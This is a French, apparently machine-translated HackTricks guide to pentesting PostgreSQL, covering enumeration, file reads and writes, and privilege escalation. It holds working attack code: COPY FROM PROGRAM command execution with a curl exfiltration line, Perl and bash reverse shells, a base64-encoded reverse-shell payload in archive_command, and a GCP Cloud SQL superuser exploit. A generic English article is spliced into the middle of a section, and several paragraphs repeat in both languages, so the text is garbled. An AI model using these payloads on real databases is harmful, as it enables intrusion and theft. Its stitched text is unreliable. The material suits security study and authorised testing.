hacktricks/network-services-pentesting/pentesting-postgresql.md

# 5432,5433 - Pentesting PostgreSQL

<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>

\
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire facilement et **automatiser des flux de travail** alimentés par les outils communautaires les plus avancés au monde.\
Obtenez un accès aujourd'hui :

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

<details>

<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>

* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).

</details>

## **Informations de base**

**PostgreSQL** est un système de gestion de base de données relationnelle objet open source qui utilise et étend le langage SQL.

**Port par défaut :** 5432, et si ce port est déjà utilisé, il semble que PostgreSQL utilisera le port suivant (probablement 5433) qui n'est pas utilisé.
```
PORT     STATE SERVICE
5432/tcp open  pgsql
```
## Connexion et Enumération de base

Pour effectuer une énumération de base sur un serveur PostgreSQL, vous devez d'abord vous connecter au serveur à l'aide d'un client PostgreSQL. Vous pouvez utiliser des outils tels que `psql` ou `pgAdmin` pour vous connecter.

### Connexion à l'aide de `psql`

Pour vous connecter à un serveur PostgreSQL à l'aide de `psql`, utilisez la commande suivante :

```bash
psql -h <adresse_IP_serveur> -p <port> -U <nom_utilisateur> -d <nom_base_de_données>
```

Remplacez `<adresse_IP_serveur>` par l'adresse IP du serveur PostgreSQL, `<port>` par le numéro de port sur lequel le serveur écoute (par défaut : 5432), `<nom_utilisateur>` par le nom d'utilisateur et `<nom_base_de_données>` par le nom de la base de données à laquelle vous souhaitez vous connecter.

### Connexion à l'aide de `pgAdmin`

Pour vous connecter à un serveur PostgreSQL à l'aide de `pgAdmin`, suivez les étapes suivantes :

1. Lancez `pgAdmin` et cliquez avec le bouton droit sur "Serveurs" dans le volet de gauche.
2. Sélectionnez "Créer" -> "Serveur".
3. Dans l'onglet "Général", donnez un nom au serveur.
4. Dans l'onglet "Connexion", saisissez les informations de connexion, telles que l'adresse IP du serveur, le numéro de port, le nom d'utilisateur et le mot de passe.
5. Cliquez sur "Enregistrer" pour ajouter le serveur.
6. Double-cliquez sur le serveur pour vous connecter.

Une fois connecté au serveur PostgreSQL, vous pouvez commencer à effectuer une énumération de base en utilisant des requêtes SQL pour récupérer des informations sur les bases de données, les tables, les colonnes, etc.
```bash
psql -U <myuser> # Open psql console with user
psql -h <host> -U <username> -d <database> # Remote connection
psql -h <host> -p <port> -U <username> -W <password> <database> # Remote connection
```

```sql
psql -h localhost -d <database_name> -U <User> #Password will be prompted
\list # List databases
\c <database> # use the database
\d # List tables
\du+ # Get users roles

# Get current user
SELECT user;

# Get current database
SELECT current_catalog;

# List schemas
SELECT schema_name,schema_owner FROM information_schema.schemata;
\dn+

#List databases
SELECT datname FROM pg_database;

#Read credentials (usernames + pwd hash)
SELECT usename, passwd from pg_shadow;

# Get languages
SELECT lanname,lanacl FROM pg_language;

# Show installed extensions
SHOW rds.extensions;
SELECT * FROM pg_extension;

# Get history of commands executed
\s
```
{% hint style="warning" %}
Si vous exécutez **`\list`** et que vous trouvez une base de données appelée **`rdsadmin`**, vous saurez que vous êtes à l'intérieur d'une base de données **PostgreSQL AWS**.
{% endhint %}

Pour plus d'informations sur **comment abuser d'une base de données PostgreSQL**, consultez :

{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/" %}
[injection-postgresql](../pentesting-web/sql-injection/postgresql-injection/)
{% endcontent-ref %}

## Énumération automatique
```
msf> use auxiliary/scanner/postgres/postgres_version
msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection
```
### [**Brute force**](../generic-methodologies-and-resources/brute-force.md#postgresql)

### **Scan de ports**

Selon [**cette recherche**](https://www.exploit-db.com/papers/13084), lorsqu'une tentative de connexion échoue, `dblink` lance une exception `sqlclient_unable_to_establish_sqlconnection` incluant une explication de l'erreur. Des exemples de ces détails sont énumérés ci-dessous.
```sql
SELECT * FROM dblink_connect('host=1.2.3.4
port=5678
user=name
password=secret
dbname=abc
connect_timeout=10');
```
* L'hôte est hors ligne

`DÉTAILS : impossible de se connecter au serveur : Aucun chemin d'accès vers l'hôte. Le serveur fonctionne-t-il sur l'hôte "1.2.3.4" et accepte-t-il les connexions TCP/IP sur le port 5678 ?`

* Le port est fermé
```
DETAIL:  could not connect to server: Connection refused Is  the  server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
```
* Le port est ouvert
```
DETAIL:  server closed the connection unexpectedly This  probably  means
the server terminated abnormally before or while processing the request
```
# Pentesting PostgreSQL

## Introduction

PostgreSQL is an open-source relational database management system (RDBMS) that is widely used in web applications. As a pentester, it is important to understand how to assess the security of PostgreSQL installations and identify potential vulnerabilities.

## Enumeration

### Version Detection

To determine the version of PostgreSQL running on a target system, you can use the following command:

```bash
nmap -p 5432 --script postgresql-version <target>
```

### User Enumeration

To enumerate the users in a PostgreSQL database, you can use the following SQL query:

```sql
SELECT usename FROM pg_user;
```

### Database Enumeration

To enumerate the databases in a PostgreSQL server, you can use the following SQL query:

```sql
SELECT datname FROM pg_database;
```

## Exploitation

### Default Credentials

PostgreSQL does not have default credentials, but it is common for users to set weak or easily guessable passwords. Therefore, it is important to test for weak credentials during a penetration test.

### SQL Injection

PostgreSQL is vulnerable to SQL injection attacks if user input is not properly sanitized. By injecting malicious SQL code, an attacker can manipulate the database and potentially gain unauthorized access.

### Privilege Escalation

If a user has been granted excessive privileges in a PostgreSQL database, it may be possible to escalate their privileges and gain unauthorized access to sensitive data or perform unauthorized actions.

## Post-Exploitation

### Dumping Data

To dump the contents of a PostgreSQL database, you can use the following command:

```bash
pg_dump -U <username> -d <database> -f <output_file>
```

### Creating Backdoors

After gaining unauthorized access to a PostgreSQL database, an attacker may want to create a backdoor to maintain access in the future. This can be done by creating a new user with administrative privileges or by modifying existing user privileges.

## Conclusion

Pentesting PostgreSQL involves identifying vulnerabilities in the database and exploiting them to gain unauthorized access or perform unauthorized actions. By understanding the enumeration, exploitation, and post-exploitation techniques, you can effectively assess the security of PostgreSQL installations.
```
DETAIL:  FATAL:  password authentication failed for user "name"
```
* Le port est ouvert ou filtré
```
DETAIL:  could not connect to server: Connection timed out Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
```
Malheureusement, il ne semble pas y avoir de moyen d'obtenir les détails de l'exception dans une fonction PL/pgSQL. Mais vous pouvez obtenir les détails si vous pouvez vous connecter directement au serveur PostgreSQL. S'il n'est pas possible d'obtenir les noms d'utilisateur et les mots de passe directement à partir des tables système, l'attaque par liste de mots décrite dans la section précédente pourrait être couronnée de succès.

## Énumération des privilèges

### Rôles

| Types de rôles |                                                                                                                                                      |
| -------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------- |
| rolsuper       | Le rôle a des privilèges de superutilisateur                                                                                                          |
| rolinherit     | Le rôle hérite automatiquement des privilèges des rôles dont il est membre                                                                             |
| rolcreaterole  | Le rôle peut créer d'autres rôles                                                                                                                     |
| rolcreatedb    | Le rôle peut créer des bases de données                                                                                                                |
| rolcanlogin    | Le rôle peut se connecter. C'est-à-dire que ce rôle peut être donné en tant qu'identifiant d'autorisation de session initial                          |
| rolreplication | Le rôle est un rôle de réplication. Un rôle de réplication peut initier des connexions de réplication et créer et supprimer des emplacements de réplication. |
| rolconnlimit   | Pour les rôles pouvant se connecter, cela définit le nombre maximum de connexions simultanées que ce rôle peut établir. -1 signifie aucune limite.     |
| rolpassword    | Non le mot de passe (toujours affiché comme `********`)                                                                                                |
| rolvaliduntil  | Heure d'expiration du mot de passe (utilisée uniquement pour l'authentification par mot de passe) ; null s'il n'y a pas d'expiration                     |
| rolbypassrls   | Le rôle contourne toutes les stratégies de sécurité au niveau des lignes, voir [Section 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html) pour plus d'informations. |
| rolconfig      | Valeurs par défaut spécifiques au rôle pour les variables de configuration à l'exécution                                                             |
| oid            | ID du rôle                                                                                                                                           |

#### Groupes intéressants

* Si vous êtes membre de **`pg_execute_server_program`**, vous pouvez **exécuter** des programmes
* Si vous êtes membre de **`pg_read_server_files`**, vous pouvez **lire** des fichiers
* Si vous êtes membre de **`pg_write_server_files`**, vous pouvez **écrire** des fichiers

{% hint style="info" %}
Notez que dans Postgres, un **utilisateur**, un **groupe** et un **rôle** sont les **mêmes**. Cela dépend simplement de **comment vous l'utilisez** et si vous **l'autorisez à se connecter**.
{% endhint %}
```sql
# Get users roles
\du

#Get users roles & groups
# r.rolpassword
# r.rolconfig,
SELECT
r.rolname,
r.rolsuper,
r.rolinherit,
r.rolcreaterole,
r.rolcreatedb,
r.rolcanlogin,
r.rolbypassrls,
r.rolconnlimit,
r.rolvaliduntil,
r.oid,
ARRAY(SELECT b.rolname
FROM pg_catalog.pg_auth_members m
JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)
WHERE m.member = r.oid) as memberof
, r.rolreplication
FROM pg_catalog.pg_roles r
ORDER BY 1;

# Check if current user is superiser
## If response is "on" then true, if "off" then false
SELECT current_setting('is_superuser');

# Try to grant access to groups
## For doing this you need to be admin on the role, superadmin or have CREATEROLE role (see next section)
GRANT pg_execute_server_program TO "username";
GRANT pg_read_server_files TO "username";
GRANT pg_write_server_files TO "username";
## You will probably get this error:
## Cannot GRANT on the "pg_write_server_files" role without being a member of the role.

# Create new role (user) as member of a role (group)
CREATE ROLE u LOGIN PASSWORD 'lriohfugwebfdwrr' IN GROUP pg_read_server_files;
## Common error
## Cannot GRANT on the "pg_read_server_files" role without being a member of the role.
```
### Tables

Les tables sont des objets de base de données qui stockent les données de manière organisée. Elles sont composées de colonnes et de lignes, où chaque colonne représente un attribut et chaque ligne représente un enregistrement.

Lors de la pentest d'une base de données PostgreSQL, il est important d'analyser les tables pour identifier les informations sensibles et les vulnérabilités potentielles. Voici quelques techniques couramment utilisées :

#### 1. Enumération des tables

L'objectif de cette technique est de répertorier toutes les tables présentes dans la base de données. Cela peut être fait en utilisant des requêtes SQL spécifiques, telles que :

```sql
SELECT table_name FROM information_schema.tables WHERE table_schema = 'public';
```

#### 2. Extraction des données

Une fois les tables identifiées, il est possible d'extraire les données qu'elles contiennent. Cela peut être fait en utilisant des requêtes SQL pour sélectionner les colonnes et les enregistrements souhaités. Par exemple :

```sql
SELECT column1, column2 FROM table_name;
```

#### 3. Injection SQL

Si une application web est connectée à la base de données PostgreSQL, il est possible d'exploiter des vulnérabilités d'injection SQL pour extraire des données ou effectuer des actions non autorisées. Cela peut être fait en manipulant les requêtes SQL de l'application pour exécuter du code malveillant. Par exemple :

```sql
SELECT * FROM users WHERE username = 'admin' OR '1'='1';
```

#### 4. Analyse des privilèges

Il est important de vérifier les privilèges accordés aux utilisateurs de la base de données. Cela permet de détecter les utilisateurs ayant des privilèges excessifs ou des privilèges insuffisants. Les requêtes SQL suivantes peuvent être utilisées pour cette analyse :

```sql
SELECT grantee, privilege_type FROM information_schema.role_privileges;
SELECT grantee, table_name, privilege_type FROM information_schema.table_privileges;
```

#### 5. Recherche de vulnérabilités connues

Il est recommandé de rechercher des vulnérabilités connues dans la version spécifique de PostgreSQL utilisée. Cela peut être fait en utilisant des outils d'analyse de vulnérabilités ou en consultant les bases de données de vulnérabilités publiques.

En résumé, l'analyse des tables dans une base de données PostgreSQL lors d'une pentest permet d'identifier les informations sensibles, d'extraire des données, d'exploiter des vulnérabilités d'injection SQL, d'analyser les privilèges et de rechercher des vulnérabilités connues. Ces techniques aident à évaluer la sécurité de la base de données et à recommander des mesures correctives si nécessaire.
```sql
# Get owners of tables
select schemaname,tablename,tableowner from pg_tables;
## Get tables where user is owner
select schemaname,tablename,tableowner from pg_tables WHERE tableowner = 'postgres';

# Get your permissions over tables
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants;

#Check users privileges over a table (pg_shadow on this example)
## If nothing, you don't have any permission
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants WHERE table_name='pg_shadow';
```
### Fonctions

Functions in PostgreSQL are named blocks of code that can be executed by calling their name. They are used to perform specific tasks and can accept parameters and return values. Functions can be created using the `CREATE FUNCTION` statement and can be written in various programming languages such as SQL, PL/pgSQL, Python, etc.

Les fonctions dans PostgreSQL sont des blocs de code nommés qui peuvent être exécutés en appelant leur nom. Elles sont utilisées pour effectuer des tâches spécifiques et peuvent accepter des paramètres et renvoyer des valeurs. Les fonctions peuvent être créées à l'aide de l'instruction `CREATE FUNCTION` et peuvent être écrites dans différents langages de programmation tels que SQL, PL/pgSQL, Python, etc.

### Stored Procedures

Stored procedures are similar to functions, but they do not return a value. They are used to perform a series of actions or operations on the database. Stored procedures can be created using the `CREATE PROCEDURE` statement and can also be written in various programming languages.

Les procédures stockées sont similaires aux fonctions, mais elles ne renvoient pas de valeur. Elles sont utilisées pour effectuer une série d'actions ou d'opérations sur la base de données. Les procédures stockées peuvent être créées à l'aide de l'instruction `CREATE PROCEDURE` et peuvent également être écrites dans différents langages de programmation.

### Triggers

Triggers are special types of functions that are automatically executed when a specific event occurs in the database. They can be used to enforce data integrity, perform additional actions, or automate certain tasks. Triggers can be created using the `CREATE TRIGGER` statement and can be written in various programming languages.

Les déclencheurs sont des types spéciaux de fonctions qui sont automatiquement exécutées lorsqu'un événement spécifique se produit dans la base de données. Ils peuvent être utilisés pour garantir l'intégrité des données, effectuer des actions supplémentaires ou automatiser certaines tâches. Les déclencheurs peuvent être créés à l'aide de l'instruction `CREATE TRIGGER` et peuvent être écrits dans différents langages de programmation.

### Views

Views are virtual tables that are based on the result of a query. They provide an alternative way to access and manipulate data stored in tables. Views can be created using the `CREATE VIEW` statement and can be used to simplify complex queries, restrict access to certain columns, or provide a customized view of the data.

Les vues sont des tables virtuelles basées sur le résultat d'une requête. Elles fournissent une alternative pour accéder et manipuler les données stockées dans les tables. Les vues peuvent être créées à l'aide de l'instruction `CREATE VIEW` et peuvent être utilisées pour simplifier les requêtes complexes, restreindre l'accès à certaines colonnes ou fournir une vue personnalisée des données.
```sql
# Interesting functions are inside pg_catalog
\df * #Get all
\df *pg_ls* #Get by substring
\df+ pg_read_binary_file #Check who has access

# Get all functions of a schema
\df pg_catalog.*

# Get all functions of a schema (pg_catalog in this case)
SELECT routines.routine_name, parameters.data_type, parameters.ordinal_position
FROM information_schema.routines
LEFT JOIN information_schema.parameters ON routines.specific_name=parameters.specific_name
WHERE routines.specific_schema='pg_catalog'
ORDER BY routines.routine_name, parameters.ordinal_position;

# Another aparent option
SELECT * FROM pg_proc;
```
## Actions sur le système de fichiers

### Lire les répertoires et les fichiers

À partir de ce [**commit**](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a), les membres du groupe **`DEFAULT_ROLE_READ_SERVER_FILES`** (appelé **`pg_read_server_files`**) et les **super utilisateurs** peuvent utiliser la méthode **`COPY`** sur n'importe quel chemin (consultez `convert_and_check_filename` dans `genfile.c`):
```sql
# Read file
CREATE TABLE demo(t text);
COPY demo from '/etc/passwd';
SELECT * FROM demo;
```
{% hint style="warning" %}
N'oubliez pas que si vous n'êtes pas un super utilisateur mais que vous avez les permissions **CREATEROLE**, vous pouvez **vous ajouter en tant que membre de ce groupe** :
```sql
GRANT pg_read_server_files TO username;
```
[**Plus d'informations.**](pentesting-postgresql.md#privilege-escalation-with-createrole)
{% endhint %}

Il existe **d'autres fonctions postgres** qui peuvent être utilisées pour **lire un fichier ou lister un répertoire**. Seuls les **superutilisateurs** et les **utilisateurs disposant de permissions explicites** peuvent les utiliser :
```sql
# Before executing these function go to the postgres DB (not in the template1)
\c postgres
## If you don't do this, you might get "permission denied" error even if you have permission

select * from pg_ls_dir('/tmp');
select * from pg_read_file('/etc/passwd', 0, 1000000);
select * from pg_read_binary_file('/etc/passwd');

# Check who has permissions
\df+ pg_ls_dir
\df+ pg_read_file
\df+ pg_read_binary_file

# Try to grant permissions
GRANT EXECUTE ON function pg_catalog.pg_ls_dir(text) TO username;
# By default you can only access files in the datadirectory
SHOW data_directory;
# But if you are a member of the group pg_read_server_files
# You can access any file, anywhere
GRANT pg_read_server_files TO username;
# Check CREATEROLE privilege escalation
```
Vous pouvez trouver **plus de fonctions** dans [https://www.postgresql.org/docs/current/functions-admin.html](https://www.postgresql.org/docs/current/functions-admin.html)

### Écriture de fichiers simple

Seuls les **super utilisateurs** et les membres de **`pg_write_server_files`** peuvent utiliser la commande copy pour écrire des fichiers.

{% code overflow="wrap" %}
```sql
copy (select convert_from(decode('<ENCODED_PAYLOAD>','base64'),'utf-8')) to '/just/a/path.exec';
```
{% endcode %}

{% hint style="warning" %}
N'oubliez pas que si vous n'êtes pas un super utilisateur mais que vous avez les permissions **`CREATEROLE`**, vous pouvez **vous ajouter en tant que membre de ce groupe :**
```sql
GRANT pg_write_server_files TO username;
```
[**Plus d'informations.**](pentesting-postgresql.md#escalade-de-privileges-avec-createrole)
{% endhint %}

N'oubliez pas que COPY ne peut pas gérer les caractères de saut de ligne, donc même si vous utilisez une charge utile en base64, **vous devez envoyer une seule ligne**.\
Une limitation très importante de cette technique est que **`copy` ne peut pas être utilisé pour écrire des fichiers binaires car il modifie certaines valeurs binaires**.

### **Téléchargement de fichiers binaires**

Cependant, il existe **d'autres techniques pour télécharger de gros fichiers binaires :**

{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md" %}
[big-binary-files-upload-postgresql.md](../pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md)
{% endcontent-ref %}

## <img src="../.gitbook/assets/i3.png" alt="" data-size="original">

**Astuce pour les primes de bug** : **inscrivez-vous** sur **Intigriti**, une plateforme premium de **primes de bug créée par des hackers, pour des hackers** ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) dès aujourd'hui et commencez à gagner des primes allant jusqu'à **100 000 $** !

{% embed url="https://go.intigriti.com/hacktricks" %}

## RCE

### **RCE vers un programme**

Depuis la [version 9.3](https://www.postgresql.org/docs/9.3/release-9-3.html), seuls les **super utilisateurs** et les membres du groupe **`pg_execute_server_program`** peuvent utiliser copy pour RCE (exemple avec exfiltration :
```sql
'; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- -
```
Exemple d'exécution :
```bash
#PoC
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;

#Reverse shell
#Notice that in order to scape a single quote you need to put 2 single quotes
COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';
```
{% hint style="warning" %}
N'oubliez pas que si vous n'êtes pas un super utilisateur mais que vous avez les permissions **`CREATEROLE`**, vous pouvez **vous ajouter en tant que membre de ce groupe :**
```sql
GRANT pg_execute_server_program TO username;
```
[**Plus d'informations.**](pentesting-postgresql.md#privilege-escalation-with-createrole)
{% endhint %}

Ou utilisez le module `multi/postgres/postgres_copy_from_program_cmd_exec` de **metasploit**.\
Plus d'informations sur cette vulnérabilité [**ici**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5). Bien que signalée comme CVE-2019-9193, Postges a déclaré qu'il s'agissait d'une [fonctionnalité et ne sera pas corrigée](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/).

### RCE avec les langages PostgreSQL

{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md" %}
[rce-with-postgresql-languages.md](../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md)
{% endcontent-ref %}

### RCE avec les extensions PostgreSQL

Une fois que vous avez **appris** du précédent article **comment télécharger des fichiers binaires**, vous pouvez essayer d'obtenir **RCE en téléchargeant une extension PostgreSQL et en la chargeant**.

{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md" %}
[rce-with-postgresql-extensions.md](../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md)
{% endcontent-ref %}

### RCE avec le fichier de configuration PostgreSQL

Le **fichier de configuration** de PostgreSQL est **modifiable** par l'utilisateur **postgres** qui exécute la base de données, donc en tant que **superutilisateur**, vous pouvez écrire des fichiers dans le système de fichiers, et donc vous pouvez **le remplacer**.

![](<../.gitbook/assets/image (303).png>)

#### **RCE avec ssl\_passphrase\_command**

Le fichier de configuration possède certains attributs intéressants qui peuvent conduire à une RCE :

* `ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'` Chemin de la clé privée de la base de données
* `ssl_passphrase_command = ''` Si le fichier privé est protégé par un mot de passe (crypté), PostgreSQL **exécutera la commande indiquée dans cet attribut**.
* `ssl_passphrase_command_supports_reload = off` **Si** cet attribut est **activé**, la **commande** exécutée si la clé est protégée par un mot de passe **sera exécutée** lorsque `pg_reload_conf()` est **exécuté**.

Ensuite, un attaquant devra :

1. **Extraire la clé privée** du serveur
2. **Crypter** la clé privée téléchargée :
1. `rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key`
3. **Remplacer**
4. **Extraire** la **configuration** actuelle de PostgreSQL
5. **Remplacer** la **configuration** par la configuration des attributs mentionnés :
1. `ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'`
2. `ssl_passphrase_command_supports_reload = on`
6. Exécuter `pg_reload_conf()`

Lors des tests, j'ai remarqué que cela ne fonctionnera que si le **fichier de clé privée a les privilèges 640**, il est **possédé par root** et par le **groupe ssl-cert ou postgres** (afin que l'utilisateur postgres puisse le lire), et est placé dans _/var/lib/postgresql/12/main_.

**Plus** [**d'informations sur cette technique ici**](https://pulsesecurity.co.nz/articles/postgres-sqli)**.**

#### **RCE avec archive\_command**

Un autre attribut du fichier de configuration qui est exploitable est `archive_command`.

Pour que cela fonctionne, le paramètre `archive_mode` doit être `'on'` ou `'always'`. Si c'est le cas, nous pouvons remplacer la commande dans `archive_command` et la forcer à s'exécuter via les opérations WAL (write-ahead logging).

Les étapes générales sont les suivantes :

1. Vérifier si le mode archive est activé : `SELECT current_setting('archive_mode')`
2. Remplacer `archive_command` par la charge utile. Par exemple, un shell inversé : `archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'`
3. Recharger la configuration : `SELECT pg_reload_conf()`
4. Forcer l'exécution de l'opération WAL, ce qui appellera la commande d'archivage : `SELECT pg_switch_wal()` ou `SELECT pg_switch_xlog()` pour certaines versions de Postgres

**Plus** [**d'informations sur cette configuration et sur WAL ici**](https://medium.com/dont-code-me-on-that/postgres-sql-injection-to-rce-with-archive-command-c8ce955cf3d3)**.**

## **Élévation de privilèges Postgres**

### Élévation de privilèges CREATEROLE

#### **Accorder**

Selon la [**documentation**](https://www.postgresql.org/docs/13/sql-grant.html) : _Les rôles ayant le privilège **`CREATEROLE`** peuvent **accorder ou révoquer l'appartenance à n'importe quel rôle** qui n'est pas un **superutilisateur**._

Donc, si vous avez la permission **`CREATEROLE`**, vous pouvez vous accorder l'accès à d'autres **rôles** (qui ne sont pas superutilisateurs) qui peuvent vous donner la possibilité de lire et d'écrire des fichiers et d'exécuter des commandes :
```sql
# Access to execute commands
GRANT pg_execute_server_program TO username;
# Access to read files
GRANT pg_read_server_files TO username;
# Access to write files
GRANT pg_write_server_files TO username;
```
#### Modifier le mot de passe

Les utilisateurs ayant ce rôle peuvent également **modifier** les **mots de passe** des autres **non-superutilisateurs** :
```sql
#Change password
ALTER USER user_name WITH PASSWORD 'new_password';
```
#### Privesc vers SUPERUSER

Il est assez courant de constater que **les utilisateurs locaux peuvent se connecter à PostgreSQL sans fournir de mot de passe**. Par conséquent, une fois que vous avez obtenu **les autorisations pour exécuter du code**, vous pouvez exploiter ces autorisations pour obtenir le rôle de **`SUPERUSER`** :
```sql
COPY (select '') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username> WITH SUPERUSER;"';
```
{% hint style="info" %}
Cela est généralement possible en raison des lignes suivantes dans le fichier **`pg_hba.conf`** :
```bash
# "local" is for Unix domain socket connections only
local   all             all                                     trust
# IPv4 local connections:
host    all             all             127.0.0.1/32            trust
# IPv6 local connections:
host    all             all             ::1/128                 trust
```
{% endhint %}

### **ALTER TABLE privesc**

Dans [ce **writeup**](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities), il est expliqué comment il était possible de **privesc** dans Postgres GCP en abusant du privilège ALTER TABLE accordé à l'utilisateur.

Lorsque vous essayez de **donner la propriété d'une table à un autre utilisateur**, vous devriez obtenir une **erreur** qui l'empêche, mais apparemment GCP a donné cette **option à l'utilisateur postgres non-superutilisateur** dans GCP :

<figure><img src="../.gitbook/assets/image (4) (1) (1) (1) (2) (1).png" alt=""><figcaption></figcaption></figure>

En associant cette idée au fait que lorsque les commandes **INSERT/UPDATE/ANALYZE** sont exécutées sur une **table avec une fonction d'index**, la **fonction** est **appelée** en tant que partie de la commande avec les **permissions du propriétaire de la table**. Il est possible de créer un index avec une fonction et de donner les permissions de propriétaire à un **superutilisateur** sur cette table, puis d'exécuter ANALYZE sur la table avec la fonction malveillante qui pourra exécuter des commandes car elle utilise les privilèges du propriétaire.
```c
GetUserIdAndSecContext(&save_userid, &save_sec_context);
SetUserIdAndSecContext(onerel->rd_rel->relowner,
save_sec_context | SECURITY_RESTRICTED_OPERATION);
```
#### Exploitation

1. Créez une nouvelle table.
2. Insérez du contenu factice dans la table, afin que la fonction d'index ait quelque chose à traiter.
3. Créez une fonction d'index malveillante (avec notre charge utile d'exécution de code) sur la table.
4. ALTEREZ le propriétaire de la table en cloudsqladmin, le rôle superutilisateur de GCP utilisé uniquement par Cloud SQL pour maintenir et gérer la base de données.
5. ANALYSEZ la table, forçant le moteur PostgreSQL à passer en mode utilisateur du propriétaire de la table (cloudsqladmin) et à appeler la fonction d'index malveillante avec les autorisations de cloudsqladmin, ce qui permet d'exécuter notre commande shell à laquelle nous n'avions pas la permission d'exécuter auparavant.

Dans PostgreSQL, ce processus ressemble à ceci :
```sql
CREATE TABLE temp_table (data text);
CREATE TABLE shell_commands_results (data text);

INSERT INTO temp_table VALUES ('dummy content');

/* PostgreSQL does not allow creating a VOLATILE index function, so first we create IMMUTABLE index function */
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
LANGUAGE sql IMMUTABLE AS 'select ''nothing'';';

CREATE INDEX index_malicious ON public.temp_table (suid_function(data));

ALTER TABLE temp_table OWNER TO cloudsqladmin;

/* Replace the function with VOLATILE index function to bypass the PostgreSQL restriction */
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
LANGUAGE sql VOLATILE AS 'COPY public.shell_commands_results (data) FROM PROGRAM ''/usr/bin/id''; select ''test'';';

ANALYZE public.temp_table;
```
Après l'exécution de l'exploit de la requête SQL, la table `shell_commands_results` contient la sortie du code exécuté :
```
uid=2345(postgres) gid=2345(postgres) groups=2345(postgres)
```
### Connexion locale

Certaines instances de postgresql mal configurées peuvent autoriser la connexion de n'importe quel utilisateur local. Il est possible de se connecter localement depuis 127.0.0.1 en utilisant la fonction **`dblink`** :
```sql
\du * # Get Users
\l    # Get databases
SELECT * FROM dblink('host=127.0.0.1
port=5432
user=someuser
password=supersecret
dbname=somedb',
'SELECT usename,passwd from pg_shadow')
RETURNS (result TEXT);
```
{% hint style="warning" %}
Notez que pour que la requête précédente fonctionne, **la fonction `dblink` doit exister**. Si ce n'est pas le cas, vous pouvez essayer de la créer avec
```sql
CREATE EXTENSION dblink;
```
{% endhint %}

